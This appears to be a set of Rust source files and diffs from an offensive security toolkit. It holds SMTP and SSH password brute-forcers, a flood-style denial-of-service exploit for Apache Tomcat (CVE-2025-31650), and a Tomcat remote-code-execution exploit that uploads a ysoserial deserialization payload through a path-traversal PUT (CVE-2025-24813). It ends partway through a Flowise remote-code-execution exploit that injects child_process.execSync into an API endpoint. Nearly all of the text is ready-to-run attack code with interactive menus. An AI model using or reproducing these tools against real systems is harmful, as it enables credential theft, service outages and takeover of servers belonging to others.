if s.starts_with("220") { banner_ok = true; break; }
}
}
if !banner_ok { return Err(anyhow::anyhow!("No 220 banner")); }
telnet.write(b"EHLO scanner\r\n")?;
let mut login_ok = false;
let mut plain_ok = false;
let mut ehlo_seen = false;
let mut buf = String::new();
for _ in 0..6 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
buf.push_str(&s);
if s.contains("AUTH") && s.contains("PLAIN") { plain_ok = true; }
if s.contains("AUTH") && s.contains("LOGIN") { login_ok = true; }
if s.starts_with("250 ") { ehlo_seen = true; break; }
}
}
if !ehlo_seen { return Ok(false); }
// Try AUTH PLAIN
if plain_ok {
let mut blob = vec![0];
blob.extend(username.as_bytes()); blob.push(0); blob.extend(password.as_bytes());
let cmd = format!("AUTH PLAIN {}\r\n", general_purpose::STANDARD.encode(&blob));
telnet.write(cmd.as_bytes())?;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { break; }
}
}
}
// Try AUTH LOGIN
if login_ok {
telnet.write(b"AUTH LOGIN\r\n")?;
let mut expect_user = false;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("334") { expect_user = true; break; }
}
}
if !expect_user { return Ok(false); }
let ucmd = format!("{}\r\n", general_purpose::STANDARD.encode(username.as_bytes()));
telnet.write(ucmd.as_bytes())?;
let mut expect_pass = false;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("334") { expect_pass = true; break; }
}
}
if !expect_pass { return Ok(false); }
let pcmd = format!("{}\r\n", general_purpose::STANDARD.encode(password.as_bytes()));
telnet.write(pcmd.as_bytes())?;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { break; }
}
}
}
Ok(false)
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Open: {}", path))?;
Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
}
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
Ok(())
}
fn prompt(msg: &str) -> String {
print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
}
fn normalize_target(host: &str, port: u16) -> Result<String> {
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
let t = host.trim();
let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
let addr = cap.get(1).unwrap().as_str();
let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
}
+112 -88
View File
@@ -1,4 +1,5 @@
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
fs::File,
@@ -8,7 +9,7 @@ use std::{
sync::Arc,
};
use tokio::{
sync::Mutex,
sync::{Mutex, Semaphore},
task::spawn_blocking,
time::{sleep, Duration},
};
@@ -39,83 +40,104 @@ pub async fn run(target: &str) -> Result<()> {
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ssh_results.txt")?)
Some(prompt_default("Output file", "ssh_brute_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let addr = format!("{}:{}", target, port);
let initial_addr = format!("{}:{}", target, port);
let connect_addr = format_host_port(&initial_addr)?;
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
println!("\n[*] Starting brute-force on {}", connect_addr);
let user_list = load_lines(&usernames_file)?;
if user_list.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let users = Arc::new(user_list);
let users = load_lines(&usernames_file)?;
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let pass_lines: Vec<String> = pass_buf
.lines()
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
.filter(|line| !line.is_empty())
.collect();
if pass_lines.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let mut idx = 0;
for pass in pass_lines {
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut tasks = Vec::new();
let mut user_cycle_idx = 0;
for pass_str in pass_lines {
if *stop.lock().await {
break;
}
let userlist = if combo_mode {
users.clone()
let users_for_current_pass: Box<dyn Iterator<Item = String>> = if combo_mode {
Box::new(users.iter().cloned())
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
if users.is_empty() {
Box::new(std::iter::empty())
} else {
let user = users[user_cycle_idx % users.len()].clone();
user_cycle_idx += 1;
Box::new(std::iter::once(user))
}
};
let mut handles = vec![];
for user_str in users_for_current_pass {
if *stop.lock().await {
break;
}
for user in userlist {
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let permit = Arc::clone(&semaphore).acquire_owned().await?;
let task_addr = connect_addr.clone();
let task_user = user_str;
let task_pass = pass_str.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let handle = tokio::spawn(async move {
if *stop.lock().await {
let task = tokio::spawn(async move {
let _permit = permit;
if *stop_clone.lock().await {
return;
}
match try_ssh_login(&addr, &user, &pass).await {
match try_ssh_login(&task_addr, &task_user, &task_pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
println!("[+] {} -> {}:{}", task_addr, task_user, task_pass);
found_clone.lock().await.push((task_addr.clone(), task_user.clone(), task_pass.clone()));
if stop_on_success {
*stop.lock().await = true;
*stop_clone.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
log(verbose, &format!("[-] {} -> {}:{}", task_addr, task_user, task_pass));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
log(verbose, &format!("[!] {}: error: {}", task_addr, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
tasks.push(task);
}
}
for h in handles {
let _ = h.await;
}
idx += 1;
for task in tasks {
let _ = task.await;
}
let creds = found.lock().await;
@@ -124,11 +146,11 @@ pub async fn run(target: &str) -> Result<()> {
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
@@ -140,23 +162,23 @@ pub async fn run(target: &str) -> Result<()> {
Ok(())
}
async fn try_ssh_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
let normalized = format_host_port(addr)?;
let user = user.to_string();
let pass = pass.to_string();
async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result<bool> {
let user_owned = user.to_string();
let pass_owned = pass.to_string();
let addr_owned = normalized_addr.to_string();
let result = spawn_blocking(move || {
match TcpStream::connect(&normalized) {
match TcpStream::connect(&addr_owned) {
Ok(tcp) => {
let mut sess = Session::new()?; // ✅ SSH session
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(&user, &pass) {
match sess.userauth_password(&user_owned, &pass_owned) {
Ok(_) => Ok(sess.authenticated()),
Err(_) => Ok(false),
}
}
Err(e) => Err(anyhow!("Connection error: {}", e)),
Err(e) => Err(anyhow!("Connection error to {}: {}", addr_owned, e)),
}
})
.await??;
@@ -164,58 +186,57 @@ async fn try_ssh_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
Ok(result)
}
/// 💡 Format IP/hostname into `host:port` with safe IPv6 wrapping,
/// stripping any extra nesting of `[`/`]`.
fn format_host_port(input: &str) -> Result<String> {
// If its already exactly "[ipv6]:port" (no nested brackets inside), accept it as-is.
if input.starts_with('[') {
if let Some(end) = input.find("]:") {
let inner = &input[1..end];
if !inner.contains('[') && !inner.contains(']') {
return Ok(input.to_string());
if let Some(end_bracket_idx) = input.find("]:") {
let host_part = &input[1..end_bracket_idx];
if !host_part.contains('[') && !host_part.contains(']') {
if (&input[end_bracket_idx+2..]).parse::<u16>().is_ok() {
return Ok(input.to_string());
}
}
}
}
// Otherwise, split off the port by the last ':'.
let parts: Vec<&str> = input.rsplitn(2, ':').collect();
if parts.len() != 2 {
return Err(anyhow!("Invalid target address format: '{}'", input));
let (host_candidate, port_str) = match input.rfind(':') {
Some(idx) if idx > 0 => { // Ensure colon is not the first character
let (h, p) = input.split_at(idx);
(h, &p[1..]) // Strip colon from port part
}
_ => return Err(anyhow!("Invalid target address format: '{}' - missing port or malformed", input)),
};
if port_str.parse::<u16>().is_err() {
return Err(anyhow!("Invalid port in address: '{}'", input));
}
let port = parts[0];
let raw_host = parts[1];
// Strip _all_ leading '[' and trailing ']' from the host part
let host = raw_host.trim_matches(|c| c == '[' || c == ']');
let stripped_host = host_candidate.trim_matches(|c| c == '[' || c == ']');
// If its an IPv6 (contains ':'), wrap exactly once.
if host.contains(':') {
Ok(format!("[{}]:{}", host, port))
if stripped_host.contains(':') {
Ok(format!("[{}]:{}", stripped_host, port_str))
} else {
Ok(format!("{}:{}", host, port))
Ok(format!("{}:{}", stripped_host, port_str))
}
}
// === Utility Functions ===
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
println!("{}", "This field is required.".yellow());
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
@@ -227,10 +248,10 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
@@ -241,13 +262,14 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
@@ -262,11 +284,13 @@ fn log(verbose: bool, msg: &str) {
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path_candidate = Path::new(input_path_str)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
.map(|os_str| os_str.to_string_lossy())
.filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..")
.map(|s_cow| s_cow.into_owned())
.unwrap_or_else(|| "ssh_brute_results.txt".to_string());
PathBuf::from(format!("./{}", path_candidate))
}
@@ -0,0 +1,193 @@
use anyhow::{anyhow, bail, Result};
use colored::*;
use rand::Rng;
use reqwest::{ClientBuilder};
use std::io::{self, Write};
use std::net::{TcpStream, ToSocketAddrs};
use std::time::Duration;
use tokio::time::sleep;
use rand::prelude::IndexedRandom;
/// TomcatKiller - CVE-2025-31650
/// Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers
pub async fn run(target: &str) -> Result<()> {
println!("{}", "===== TomcatKiller - CVE-2025-31650 =====".blue());
println!("Developed by: @absholi7ly");
println!("Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers.");
println!("{}", "Warning: For authorized testing only. Ensure HTTP/2 and vulnerable Tomcat version.".yellow());
let port = prompt_for_port().unwrap_or(443);
let normalized = if target.starts_with("http://") || target.starts_with("https://") {
target.to_string()
} else {
format!("https://{}", target)
};
let (host, _) = match validate_url(&normalized) {
Ok(hp) => hp,
Err(e) => {
eprintln!("{}", format!("Invalid target URL: {e}").red());
return Err(e);
}
};
let clean_host = strip_ipv6_brackets(&host);
let num_tasks = 300;
let requests_per_task = 100000;
match check_http2_support(&clean_host, port).await {
Ok(true) => {
println!("{}", format!("Starting attack on {}:{}...", clean_host, port).green());
println!("Tasks: {}, Requests per task: {}", num_tasks, requests_per_task);
println!("{}", "Monitor memory manually via VisualVM or check catalina.out for OutOfMemoryError.".yellow());
let monitor_handle = tokio::spawn(monitor_server(clean_host.clone(), port));
let mut handles = Vec::new();
for i in 0..num_tasks {
let h = clean_host.clone();
handles.push(tokio::spawn(send_invalid_priority_requests(h, port, requests_per_task, i)));
}
for handle in handles {
let _ = handle.await;
}
monitor_handle.abort();
}
Ok(false) => {
bail!("Target does not support HTTP/2. Exploit not applicable.");
}
Err(e) => {
eprintln!("{}", format!("[!] Error checking HTTP/2 support: {e}").red());
return Err(e);
}
}
Ok(())
}
fn prompt_for_port() -> Option<u16> {
print!("{}", "Enter target port (default 443): ".cyan());
io::stdout().flush().ok()?;
let mut buffer = String::new();
io::stdin().read_line(&mut buffer).ok()?;
let trimmed = buffer.trim();
if trimmed.is_empty() {
Some(443)
} else {
trimmed.parse::<u16>().ok()
}
}
fn strip_ipv6_brackets(host: &str) -> String {
host.trim_matches(|c| c == '[' || c == ']').to_string()
}
fn validate_url(url: &str) -> Result<(String, u16)> {
let parsed = url::Url::parse(url)?;
let host = parsed.host_str().ok_or_else(|| anyhow!("Invalid URL format"))?.to_string();
let port = parsed.port_or_known_default().unwrap_or(443);
Ok((host, port))
}
async fn check_http2_support(host: &str, port: u16) -> Result<bool> {
let client = ClientBuilder::new()
.http2_prior_knowledge()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
let url = format!("https://{}:{}/", host, port);
let resp = client.get(&url).header("user-agent", "TomcatKiller").send().await;
match resp {
Ok(response) => {
if response.version() == reqwest::Version::HTTP_2 {
println!("{}", "HTTP/2 supported! Proceeding ...".green());
Ok(true)
} else {
println!("{}", "Server responded, but HTTP/2 not used.".yellow());
Ok(false)
}
}
Err(e) => {
println!("{}", format!("Connection failed: {}:{}. Reason: {e}", host, port).red());
Ok(false)
}
}
}
async fn send_invalid_priority_requests(host: String, port: u16, count: usize, task_id: usize) {
let priorities = get_invalid_priorities();
let client = match ClientBuilder::new()
.http2_prior_knowledge()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(300))
.build()
{
Ok(c) => c,
Err(_) => return,
};
let url = format!("https://{}:{}/", host, port);
for _ in 0..count {
let prio = priorities.choose(&mut rand::rng()).unwrap().to_string();
let headers = [
("priority", prio),
("user-agent", format!("TomcatKiller-{}-{}", task_id, rand::rng().random::<u32>())),
("cache-control", "no-cache".to_string()),
("accept", format!("*/*; q={}", rand::rng().random_range(0.1..1.0))),
];
let mut req = client.get(&url);
for (k, v) in headers.iter() {
req = req.header(*k, v);
}
let _ = req.send().await;
}
}
async fn monitor_server(host: String, port: u16) {
loop {
let addr_result = format!("{}:{}", host, port).to_socket_addrs();
match addr_result {
Ok(mut addrs) => {
if let Some(addr) = addrs.next() {
if TcpStream::connect_timeout(&addr, Duration::from_secs(2)).is_ok() {
println!("{}", format!("Target {}:{} is reachable.", host, port).yellow());
} else {
println!("{}", format!("Target {}:{} unreachable or crashed!", host, port).red());
break;
}
} else {
println!("{}", "DNS lookup failed.".red());
break;
}
}
Err(_) => {
println!("{}", "Failed to resolve host for monitoring.".red());
break;
}
}
sleep(Duration::from_secs(2)).await;
}
}
fn get_invalid_priorities() -> Vec<&'static str> {
vec![
"u=-1, q=2", "u=4294967295, q=-1", "u=-2147483648, q=1.5", "u=0, q=invalid",
"u=1/0, q=NaN", "u=1, q=2, invalid=param", "", "u=1, q=1, u=2",
"u=99999999999999999999, q=0", "u=-99999999999999999999, q=0", "u=, q=",
"u=1, q=1, malformed", "u=1, q=, invalid", "u=-1, q=4294967295",
"u=invalid, q=1", "u=1, q=1, extra=😈", "u=1, q=1; malformed", "u=1, q=1, =invalid",
"u=0, q=0, stream=invalid", "u=1, q=1, priority=recursive", "u=1, q=1, %invalid%",
"u=0, q=0, null=0",
]
}
@@ -0,0 +1,320 @@
use anyhow::{bail, Result};
use regex::Regex;
use reqwest::{Client, StatusCode};
use std::io::{self, Write};
use std::path::Path;
use std::process::{Command, Stdio};
use std::time::Duration;
use tokio::fs::{read, remove_file};
const BANNER: &str = r#"
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔────╝ ╚════██╗██╔══██╗██╔══██╗██╔══██╗
██║ ██║ ██║█████╗█████╗█████╔╝██████╔╝██████╔╝██║ ██║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔══██╗██╔══██╗██╔══██╗██║ ██║
╚██████╗ ╚████╔╝ ███████╗ ██████╔╝██║ ██║██║ ██║██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝
"#;
/// // Sanitize IPv6 URL
fn sanitize_target(raw: &str) -> String {
let fixed = raw.replace("[[", "[").replace("]]", "]");
if fixed.starts_with("http://") || fixed.starts_with("https://") {
fixed
} else {
format!("http://{}", fixed)
}
}
/// // Prompt helper
fn prompt(message: &str, default: Option<&str>) -> String {
print!("{}{}: ", message, default.map_or("".to_string(), |d| format!(" [{}]", d)));
io::stdout().flush().unwrap();
let mut buf = String::new();
io::stdin().read_line(&mut buf).unwrap();
let input = buf.trim();
if input.is_empty() {
default.unwrap_or("").to_string()
} else {
input.to_string()
}
}
/// // Check if server is writable
async fn check_writable_servlet(client: &Client, target_url: &str, host: &str, port: &str) -> Result<bool> {
let check_url = format!("{}/check.txt", target_url);
let res = client
.put(&check_url)
.header("Host", format!("{host}:{port}"))
.header("Content-Length", "10000")
.header("Content-Range", "bytes 0-1000/1200")
.body("testdata".to_string())
.timeout(Duration::from_secs(10))
.send()
.await?;
if res.status() == StatusCode::OK || res.status() == StatusCode::CREATED {
println!("[+] Server is writable via PUT: {check_url}");
Ok(true)
} else {
println!("[-] Server not writable: HTTP {}", res.status());
Ok(false)
}
}
/// // Generate a raw Java payload JAR via `javac` and `jar`
fn generate_java_payload(command: &str, payload_file: &str) -> Result<()> {
let payload_java = format!(
r#"
import java.io.IOException;
import java.io.PrintWriter;
public class Exploit {{
static {{
try {{
String cmd = "{cmd}";
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(
Runtime.getRuntime().exec(cmd).getInputStream()
));
String line;
StringBuilder output = new StringBuilder();
while ((line = reader.readLine()) != null) {{
output.append(line).append("\\n");
}}
PrintWriter out = new PrintWriter(System.out);
out.println(output.toString());
out.flush();
}} catch (IOException e) {{
e.printStackTrace();
}}
}}
}}
"#,
cmd = command
);
println!("[*] Generating Java payload using system javac and jar...");
std::fs::write("Exploit.java", &payload_java)?;
let compile = Command::new("javac").arg("Exploit.java").status()?;
if !compile.success() {
bail!("[-] javac failed. Make sure JDK is installed.");
}
let package = Command::new("jar")
.args(["cfe", payload_file, "Exploit", "Exploit.class"])
.status()?;
if !package.success() {
bail!("[-] jar packaging failed.");
}
std::fs::remove_file("Exploit.java").ok();
std::fs::remove_file("Exploit.class").ok();
println!("[+] Java payload JAR created: {}", payload_file);
Ok(())
}
/// // Generate ysoserial payload
fn generate_ysoserial_payload(command: &str, ysoserial_path: &str, gadget: &str, payload_file: &str) -> Result<()> {
if !Path::new(ysoserial_path).exists() {
bail!("[-] Error: {} not found", ysoserial_path);
}
println!("[*] Generating ysoserial payload: {}", command);
let output = Command::new("java")
.args(["-jar", ysoserial_path, gadget, &format!("cmd.exe /c {}", command)])
.stdout(Stdio::piped())
.spawn()?
.wait_with_output()?;
std::fs::write(payload_file, output.stdout)?;
println!("[+] Payload generated: {payload_file}");
Ok(())
}
/// // Upload and verify payload
async fn upload_and_verify_payload(
client: &Client,
target_url: &str,
host: &str,
port: &str,
session_id: &str,
payload_file: &str,
) -> Result<bool> {
let exploit_url = format!("{}/uploads/../sessions/{}.session", target_url, session_id);
let payload = read(payload_file).await?;
let res = client
.put(&exploit_url)
.header("Host", format!("{host}:{port}"))
.header("Content-Length", "10000")
.header("Content-Range", "bytes 0-1000/1200")
.body(payload)
.send()
.await?;
if res.status() == StatusCode::CONFLICT {
println!("[+] Upload successful (409): {}", exploit_url);
let confirm = client
.get(target_url)
.header("Cookie", "JSESSIONID=absholi7ly")
.send()
.await?;
if confirm.status() == StatusCode::INTERNAL_SERVER_ERROR {
println!("[+] Exploit triggered! Server returned 500.");
Ok(true)
} else {
println!("[-] Trigger failed: {}", confirm.status());
Ok(false)
}
} else {
println!("[-] Upload failed: HTTP {}", res.status());
Ok(false)
}
}
/// // Get session ID
async fn get_session_id(client: &Client, target_url: &str) -> Result<String> {
let res = client
.get(&format!("{}/index.jsp", target_url))
.send()
.await?;
let body = res.text().await?;
let re = Regex::new(r"Session ID: (\w+)")?;
if let Some(caps) = re.captures(&body) {
return Ok(caps[1].to_string());
}
println!("[-] No session ID found. Using default.");
Ok("absholi7ly".to_string())
}
/// // Exploit logic
async fn execute_exploit(
target_url: &str,
port: &str,
command: &str,
ysoserial_path: &str,
gadget: &str,
payload_type: &str,
verify_ssl: bool,
) -> Result<()> {
let host = target_url.split("://").nth(1).unwrap_or(target_url).trim_matches('/').split(':').next().unwrap();
let client = Client::builder().danger_accept_invalid_certs(!verify_ssl).build()?;
let session_id = get_session_id(&client, target_url).await?;
println!("[*] Session ID: {session_id}");
if check_writable_servlet(&client, target_url, host, port).await? {
let payload_file = "payload.ser";
match payload_type {
"java" => generate_java_payload(command, payload_file)?,
"ysoserial" => generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file)?,
_ => bail!("[-] Invalid payload type: {}", payload_type),
}
if upload_and_verify_payload(&client, target_url, host, port, &session_id, payload_file).await? {
println!("[+] Target vulnerable to CVE-2025-24813!");
} else {
println!("[-] Exploit failed or target not vulnerable.");
}
remove_file(payload_file).await.ok();
}
Ok(())
}
/// // Entry point
pub async fn run(target: &str) -> Result<()> {
println!("{BANNER}");
let mut target = sanitize_target(target);
println!("[+] Target sanitized: {}", target);
let mut command = String::from("calc.exe");
let mut port = prompt("Enter port (default 8080)", Some("8080"));
println!("[+] Default port set to {}", port);
let mut ysoserial_path = String::from("ysoserial.jar");
let mut gadget = String::from("CommonsCollections6");
let mut payload_type = String::from("ysoserial");
let mut ssl_verify = true;
loop {
println!(
r#"
=== MENU ===
1. Set Target URL (current: {target})
2. Set Command (current: {command})
3. Set Port (current: {port})
4. Set ysoserial Path (current: {ysoserial_path})
5. Set Gadget (current: {gadget})
6. Set Payload Type (current: {payload_type})
7. Toggle SSL Verify (current: {ssl_verify})
8. Run Exploit
9. Exit
"#
);
let selection = prompt("Select an option", None);
match selection.as_str() {
"1" => {
target = prompt("Enter target URL", Some(&target));
println!("[+] Target updated: {target}");
}
"2" => {
command = prompt("Enter command to execute", Some(&command));
println!("[+] Command set: {command}");
}
"3" => {
port = prompt("Enter port", Some(&port));
println!("[+] Port set: {port}");
}
"4" => {
ysoserial_path = prompt("Path to ysoserial.jar", Some(&ysoserial_path));
println!("[+] ysoserial path set: {ysoserial_path}");
}
"5" => {
gadget = prompt("Enter gadget", Some(&gadget));
println!("[+] Gadget set: {gadget}");
}
"6" => {
payload_type = prompt("Payload type (ysoserial/java)", Some(&payload_type));
if payload_type != "ysoserial" && payload_type != "java" {
println!("[-] Invalid type. Only 'ysoserial' or 'java' supported.");
payload_type = "ysoserial".into();
} else {
println!("[+] Payload type set: {payload_type}");
}
}
"7" => {
ssl_verify = !ssl_verify;
println!("[!] SSL verification toggled: {ssl_verify}");
}
"8" => break,
"9" => {
println!("[!] Exiting without running exploit.");
return Ok(());
}
_ => println!("[-] Invalid option. Please choose 1-9."),
}
}
println!("[*] Starting exploit with:");
println!(" Target URL : {target}");
println!(" Command : {command}");
println!(" Port : {port}");
println!(" ysoserial : {ysoserial_path}");
println!(" Gadget : {gadget}");
println!(" SSL Verify : {ssl_verify}");
execute_exploit(&target, &port, &command, &ysoserial_path, &gadget, &payload_type, ssl_verify).await
}
@@ -0,0 +1,3 @@
pub mod cve_2025_24813_apache_tomcat_rce;
pub mod catkiller_cve_2025_31650;
@@ -0,0 +1,185 @@
// CVE-2025-59528 - Flowise < 3.0.5 Remote Code Execution
// Exploit Author: nltt0 (https://github.com/nltt-br)
// Vendor Homepage: https://flowiseai.com/
// Software Link: https://github.com/FlowiseAI/Flowise
// Version: < 3.0.5
use anyhow::{anyhow, Context, Result};
use colored::*;
use reqwest::Client;
use serde_json::json;
use std::io::{self, Write};
use std::time::Duration;
/// Displays module banner
fn banner() {
println!(
"{}",
r#"
_____ _ _____
/ __ \ | | / ___|
| / \/ __ _| | __ _ _ __ __ _ ___ ___ \ `--.
| | / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/
__/ |
|___/
by nltt0
"#
.cyan()
);
}
/// Login to Flowise and return authenticated session
async fn login(client: &Client, url: &str, email: &str, password: &str) -> Result<String> {
let login_url = format!("{}/api/v1/auth/login", url.trim_end_matches('/'));
let data = json!({
"email": email,
"password": password
});
let response = client
.post(&login_url)
.header("x-request-from", "internal")
.header("Accept-Language", "pt-BR,pt;q=0.9")
.header("Accept", "application/json, text/plain, */*")
.header("Content-Type", "application/json")
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36")
.header("Origin", "http://workflow.flow.hc")
.header("Referer", "http://workflow.flow.hc/signin")
.header("Accept-Encoding", "gzip, deflate, br")
.header("Connection", "keep-alive")
.json(&data)
.send()
.await
.context("Failed to send login request")?;
if response.status().is_success() {
// Extract session token/cookie from response
// The actual token extraction depends on Flowise's response format
// For now, we'll use the cookie jar from the client
Ok("authenticated".to_string())
} else {
Err(anyhow!("Login failed with status: {}", response.status()))
}
}
/// Execute remote code via the customMCP endpoint
async fn execute_rce(
client: &Client,
url: &str,
email: &str,
password: &str,
cmd: &str,
) -> Result<()> {
// First, login to get authenticated session
println!("{}", "[*] Attempting to login...".yellow());
login(client, url, email, password).await?;
println!("{}", "[+] Login successful".green());
let rce_url = format!("{}/api/v1/node-load-method/customMCP", url.trim_end_matches('/'));
// Escape the command for JavaScript execution
let escaped_cmd = cmd.replace('\\', "\\\\").replace('"', "\\\"").replace('\n', "\\n");
// Construct the malicious payload
let command = format!(
r#"({{x:(function(){{const cp = process.mainModule.require("child_process");cp.execSync("{}");return 1;}})()}})"#,
escaped_cmd
);
let data = json!({
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": command
}
});
println!("{}", format!("[*] Executing command: {}", cmd).yellow());
let response = client
.post(&rce_url)
.header("x-request-from", "internal")
.header("Content-Type", "application/json")
.json(&data)
.send()
.await
.context("Failed to send RCE request")?;
if response.status() == 401 {
// Retry with internal header if we get 401
println!("{}", "[*] Received 401, retrying with internal header...".yellow());
let retry_response = client
.post(&rce_url)
.header("x-request-from", "internal")
.json(&data)
.send()
.await
.context("Failed to retry RCE request")?;
if retry_response.status().is_success() {
println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
} else {
println!("{}", format!("[-] Command execution failed with status: {}", retry_response.status()).red());
}
} else if response.status().is_success() {
println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
} else {
println!("{}", format!("[-] Command execution failed with status: {}", response.status()).red());
}
Ok(())
}
/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
let mut base_url = target.trim().to_string();
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
